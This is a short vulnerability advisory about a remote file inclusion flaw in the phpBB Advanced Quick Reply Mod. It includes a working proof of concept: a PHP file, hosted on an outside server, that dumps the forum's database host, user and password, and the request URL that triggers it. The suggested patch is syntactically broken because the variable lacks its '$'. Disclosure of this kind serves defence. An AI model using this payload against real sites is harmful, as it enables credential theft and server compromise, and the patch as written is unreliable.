Code Injection in phpBB Advanced Quick Reply Mod

[Hai Nam Luke <hainamluke@hotmail.com>]

Software: phpBB Advanced Quick Reply Mod 

I've found a security hole in this sofware (Code Injection). You can 
download this software at http://phpbbhacks.com/viewhack.php?id=586
Hackers can exploit this Mod to inject some shell code to hack your forum, 
your website or your server (local exploit) because Code Injection is a 
dangerous technique of hackers.


Exploit: (quick_reply.php)


if ( $mode == 'smilies' )
{
	define('IN_PHPBB', true);
	include($phpbb_root_path . 'extension.inc');
	include($phpbb_root_path . 'common.'.$phpEx);
	include($phpbb_root_path . 'includes/functions_post.'.$phpEx);
	generate_smilies('window', PAGE_POSTING);
	exit;
}


And you can make a php file which named 'extension.inc' to inclusion to 
access that forum. example:

<?php
include('config'.'.php');
echo "DB Type: $dbms <br>";
echo "DB Host: $dbhost <br>";
echo "DB Name: $dbname <br>";
echo "DB User: $dbuser <br>";
echo "DB Pass: $dbpasswd <br>";
exit;
?>

After that, you upload this file to your server (http://[Your 
Server]/extension.inc) and  enter URL
http://[phpBB_Forum]/quick_reply.php?phpbb_root_path=http://[Your 
Server]/&mode=smiles
You'll be recived all DB Info of forum


Patch: (quick_reply.php) 

[FIND]
if ( $mode == 'smilies' )
{
[ADD BEFORE]
phpbb_root_path = "./";

Sorry for my poor english. 
Luke (HVA)
http://www.hackervn.net